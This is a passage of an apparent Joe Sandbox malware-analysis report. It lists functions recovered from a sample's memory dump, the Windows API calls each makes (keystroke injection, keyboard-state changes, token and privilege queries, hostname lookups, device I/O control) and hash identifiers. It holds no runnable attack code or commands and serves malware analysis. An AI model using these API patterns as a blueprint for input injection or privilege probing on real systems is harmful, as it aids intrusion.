PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00C31214
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00C31266

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 9d2451ed0607607b31a377dd9dc67c51555f1cabee3ce521f3e42cc80f145455
Instruction ID: 1541434b632039ce22d81c0970ff2d82ac2770f17d69fde98c3b43a746f6968f
Opcode Fuzzy Hash: 9d2451ed0607607b31a377dd9dc67c51555f1cabee3ce521f3e42cc80f145455
Instruction Fuzzy Hash: A8314830AA02486EFF30CA268C05BFF7B69AB45320F1C431AFDA1D21D1C3758A519BA5

Function 00C3127C Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A4C0D0,?,00008000), ref: 00C312D1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00C312ED
PostMessageW.USER32(00000000,00000101,00000000), ref: 00C3134C
SendInput.USER32(00000001,?,0000001C,75A4C0D0,?,00008000), ref: 00C3139E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 0e6b638a1170dc61509ed1c77facd6b2098863e849603ad3d6e2ea19b827a792
Instruction ID: 1f1b36359d0e114c81d001b51d9b4ec8c091753d848b6db23bcc2733bb167dcd
Opcode Fuzzy Hash: 0e6b638a1170dc61509ed1c77facd6b2098863e849603ad3d6e2ea19b827a792
Instruction Fuzzy Hash: 46318930E606489EFF348A2A8C047FEBBA9AF44320F1C421AFCA0525F0C3748A559B95

Function 00C06325 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00C0635B
__isleadbyte_l.LIBCMT ref: 00C06389
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00C063B7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00C063ED

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: f3a3e5865fca411a77b76e9e02aa593aeb069c0fb6b369de4d76ed45ad8761a5
Instruction ID: 7857e5d7d4d98e030b6cece5061b35dbed3df910e96262ec6f568c643b5a410a
Opcode Fuzzy Hash: f3a3e5865fca411a77b76e9e02aa593aeb069c0fb6b369de4d76ed45ad8761a5
Instruction Fuzzy Hash: EF31903160025AAFDB218F65C844BBE7BF9FF41310F154169F8649B1E1D731EAA1DB90

Function 00C552F3 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00C55307

Part of subcall function 00C339A1: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00C339BB
Part of subcall function 00C339A1: GetCurrentThreadId.KERNEL32 ref: 00C339C2
Part of subcall function 00C339A1: AttachThreadInput.USER32(00000000,?,00C3542D), ref: 00C339C9

GetCaretPos.USER32(?), ref: 00C55318
ClientToScreen.USER32(00000000,?), ref: 00C55353
GetForegroundWindow.USER32 ref: 00C55359

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 6281c2007dadac718d59bccccfa14d13b1a7c7b20a91a3bb9c34764b659c8868
Instruction ID: e8c98a4c123bc3cac46703bdb383b92d4fa2832a7ad1b78354112342b303e858
Opcode Fuzzy Hash: 6281c2007dadac718d59bccccfa14d13b1a7c7b20a91a3bb9c34764b659c8868
Instruction Fuzzy Hash: F9313075D00108AFDB10EFA5D885AEFF7F9EF98304F10416AE415E7241EB71AE458BA1

Function 00C5C8BB Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

GetCursorPos.USER32(?), ref: 00C5C8F5
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00C0BC1C,?,?,?,?,?), ref: 00C5C90A
GetCursorPos.USER32(?), ref: 00C5C957
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00C0BC1C,?,?,?), ref: 00C5C991

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 6c51b652d105f2e499f03941f577d67e2d7993eaf498fad54886c3095893f5e1
Instruction ID: 4eaf70a2e66f62b8f6910a39e676aad49d7e152ab8dc0f93351a96baf5517b3a
Opcode Fuzzy Hash: 6c51b652d105f2e499f03941f577d67e2d7993eaf498fad54886c3095893f5e1
Instruction Fuzzy Hash: 1031F239600218AFCB218F55D898FEE7BF5EB0A311F00416AFD05872A1C3315EA0DFA4

Function 00BF0AEB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00BF0B0D

Part of subcall function 00BE402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00C37CBE,?,?,00000000), ref: 00BE4041
Part of subcall function 00BE402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00C37CBE,?,?,00000000,?,?), ref: 00BE4065

_fprintf.LIBCMT ref: 00BF0B44
OutputDebugStringW.KERNEL32(?), ref: 00C2672F

Part of subcall function 00BF4BFA: _flsall.LIBCMT ref: 00BF4C13

__setmode.LIBCMT ref: 00BF0B79

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: d5305c4d92ddfd485968656708ef5bc04a263d1e87ae7d79acc5d7db8f259ac9
Instruction ID: 9e430c9330f977856a4ee93edf06ac845a9297334c5fb92c4b7049c55db060d8
Opcode Fuzzy Hash: d5305c4d92ddfd485968656708ef5bc04a263d1e87ae7d79acc5d7db8f259ac9
Instruction Fuzzy Hash: 871105315046087ADA14B7A8AC46EBEB7E89F41320F1441E6F30497293EF70594A87A4

Function 00C29057 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C28B0B: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00C28B22
Part of subcall function 00C28B0B: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00C28B2C
Part of subcall function 00C28B0B: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00C28B3B
Part of subcall function 00C28B0B: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00C28B42
Part of subcall function 00C28B0B: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00C28B58

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00C290A4
_memcmp.LIBCMT ref: 00C290C7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00C290FD
HeapFree.KERNEL32(00000000), ref: 00C29104

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 5009c34e74e724565b07f2f19071f69c84c2f880df693b9e2339745a1546e9c3
Instruction ID: 9c7eae9fb270815c875b96d4afb79bdc5d0cd6f2a5ced6740ed1d5d2ed53d7be
Opcode Fuzzy Hash: 5009c34e74e724565b07f2f19071f69c84c2f880df693b9e2339745a1546e9c3
Instruction Fuzzy Hash: 8E21BD32E0011DEFDB10CFA9DA84BEEB7B8EF48301F144099E815A7241EB71AB05CB60

Function 00C56116 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00C56185
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00C5619F
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00C561AD
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00C561BB

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 6d3706e565e63e230609423767e545dfbce22a2856f9d95411f443ca5a093c5c
Instruction ID: 0601849c29621c8c4b22c92274bf1895eaf177d55060cd5294323b0fda7767b6
Opcode Fuzzy Hash: 6d3706e565e63e230609423767e545dfbce22a2856f9d95411f443ca5a093c5c
Instruction Fuzzy Hash: CD110039300914AFEB15AB14DC05FBFB7A9EF85320F144159F826DB2D2CBA0AD448B98

Function 00C2E23D Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C2F63B: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00C2E252,?,?,?,00C2F045,00000000,000000EF,00000119,?,?), ref: 00C2F64A
Part of subcall function 00C2F63B: lstrcpyW.KERNEL32(00000000,?,?,00C2E252,?,?,?,00C2F045,00000000,000000EF,00000119,?,?,00000000), ref: 00C2F670
Part of subcall function 00C2F63B: lstrcmpiW.KERNEL32(00000000,?,00C2E252,?,?,?,00C2F045,00000000,000000EF,00000119,?,?), ref: 00C2F6A1

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00C2F045,00000000,000000EF,00000119,?,?,00000000), ref: 00C2E26B
lstrcpyW.KERNEL32(00000000,?,?,00C2F045,00000000,000000EF,00000119,?,?,00000000), ref: 00C2E291
lstrcmpiW.KERNEL32(00000002,cdecl,?,00C2F045,00000000,000000EF,00000119,?,?,00000000), ref: 00C2E2C5

Strings

cdecl, xrefs: 00C2E2BC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: b9fa80a31c09e88493ab61bba56621227e6766bc37561de6fe88b0d732d62e3e
Instruction ID: d7f79d1a07bdb10422283d102f89b70c3b1373b1b4a267b18fa6d25e7dbd43ca
Opcode Fuzzy Hash: b9fa80a31c09e88493ab61bba56621227e6766bc37561de6fe88b0d732d62e3e
Instruction Fuzzy Hash: 7B11D036200315EFDB25AF24E845E7A77A8FF45310B40403AF906CB6A0EBB1A941C7A0

Function 00C05242 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00C05261

Part of subcall function 00BF586C: __FF_MSGBANNER.LIBCMT ref: 00BF5883
Part of subcall function 00BF586C: __NMSG_WRITE.LIBCMT ref: 00BF588A
Part of subcall function 00BF586C: RtlAllocateHeap.NTDLL(01140000,00000000,00000001,?,00000004,?,?,00BF0F33,?), ref: 00BF58AF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7d0950c81ece9b57eb80d4e9a49c1723026920004f15eb313ff98614ee83bce0
Instruction ID: 6bfe038880f16468858bab96a1029f6d5ee3b65c78446513d81da75cbe264f70
Opcode Fuzzy Hash: 7d0950c81ece9b57eb80d4e9a49c1723026920004f15eb313ff98614ee83bce0
Instruction Fuzzy Hash: D011A332906A1AABDB302F75AC0576F3BD8EF11361B244566FA159B1D1DF308A40CFA4

Function 00C341D2 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00C341F2
_memset.LIBCMT ref: 00C34213
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00C34265
CloseHandle.KERNEL32(00000000), ref: 00C3426E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 451a80f47d4d04752c7ea513658f462e815ae658b51886b759783b94b2f0e88b
Instruction ID: fb521f7fad92082657f003515a2ac0fdc1131efe507368f2d2e6dd448c2c3547
Opcode Fuzzy Hash: 451a80f47d4d04752c7ea513658f462e815ae658b51886b759783b94b2f0e88b
Instruction Fuzzy Hash: 9111E7719012287AD7309BA5AC4DFAFBB7CEF45720F10429AF908E7190D2B45F808BA4

Function 00C46819 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00C37CBE,?,?,00000000), ref: 00BE4041
Part of subcall function 00BE402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00C37CBE,?,?,00000000,?,?), ref: 00BE4065

gethostbyname.WSOCK32(?,?,?), ref: 00C46849
WSAGetLastError.WSOCK32(00000000), ref: 00C46854
_memmove.LIBCMT ref: 00C46881
inet_ntoa.WSOCK32(?), ref: 00C4688C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 8ed99334d8780a974a126e9f9ff7bd818d914b73b238bae9ccad79e57f560d4c
Instruction ID: 7855caabe1a5a04a8f1c105853fff4ef99739e34ca4e897821977687639e7ebd
Opcode Fuzzy Hash: 8ed99334d8780a974a126e9f9ff7bd818d914b73b238bae9ccad79e57f560d4c
Instruction Fuzzy Hash: 801151719001099FCB10FFA5DD46DAEB7F9EF08310B1444A5F506A72A2DF30AE04DB61

Function 00C294DC Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00C294FC
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00C2950E
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00C29524
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00C2953F

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 748f8030a45b7793598048653edce2f4014c94874722f279e771f435dd3d6d88
Instruction ID: e6eb9f92373cf5f63e4167c8f5036b169f8d4de7406384cc35072d64d8e5131d
Opcode Fuzzy Hash: 748f8030a45b7793598048653edce2f4014c94874722f279e771f435dd3d6d88
Instruction Fuzzy Hash: 1D115E79A00218FFDB11DF95CC84F9DBB74FB48310F2041A5EA00B7250D671AE10DB90

Function 00BD166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

DefDlgProcW.USER32(?,00000020,?), ref: 00BD16B4
GetClientRect.USER32(?,?), ref: 00C0B86C
GetCursorPos.USER32(?), ref: 00C0B876
ScreenToClient.USER32(?,?), ref: 00C0B881

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 809a41f0a3d08163216d4100e50da30c4d7af7c50f91fd1ccbfccd7effc9ab6c
Instruction ID: c6b06e58b820554ae8bcb4ee1a1abff09d55130ba0b7da456a08e2b9294b365d
Opcode Fuzzy Hash: 809a41f0a3d08163216d4100e50da30c4d7af7c50f91fd1ccbfccd7effc9ab6c
Instruction Fuzzy Hash: 86112879A00119BBCB10EF99D895ABEB7B9FB04301F140896F911E7290D770FA51CBA5

Function 00BD2111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BD214F
GetStockObject.GDI32(00000011), ref: 00BD2163
SendMessageW.USER32(00000000,00000030,00000000), ref: 00BD216D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: ab40697779d5de0db8c8847056b804fd1cbc5edcc160e279c88704f57ff2120e
Instruction ID: 7913726512bbedad385cabad99832334dfed11e854d03c93cb89b69a6b9a4e51
Opcode Fuzzy Hash: ab40697779d5de0db8c8847056b804fd1cbc5edcc160e279c88704f57ff2120e
Instruction Fuzzy Hash: 7C118B72501289BFDB128F90DC84FEBBBA9EF68354F144152FB0462260D771DC60ABA0

Function 00C317AD Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00C30358,?,00C313AB,?,00008000), ref: 00C317CA
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00C30358,?,00C313AB,?,00008000), ref: 00C317EF
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00C30358,?,00C313AB,?,00008000), ref: 00C317F9
Sleep.KERNEL32(?,?,?,?,?,?,?,00C30358,?,00C313AB,?,00008000), ref: 00C3182C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 51cacd13f390b43ce421ef9964860455436bbf6633648c3932c9b884ca9f139e
Instruction ID: fb404c68c5d882ebfe208a2efc43b2c5fb6c26ea191e99fbe8012934eb784e77
Opcode Fuzzy Hash: 51cacd13f390b43ce421ef9964860455436bbf6633648c3932c9b884ca9f139e
Instruction Fuzzy Hash: 7D113C31D1161CDBCF10AFA5D988BEEBBB8FF09711F594456ED41B2180CB3056A1CB96

Function 00C07117 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00C0713B

Part of subcall function 00C07822: __fltout2.LIBCMT ref: 00C0784B

__cftog_l.LIBCMT ref: 00C07161
__cftoe_l.LIBCMT ref: 00C07193

Memory Dump Source

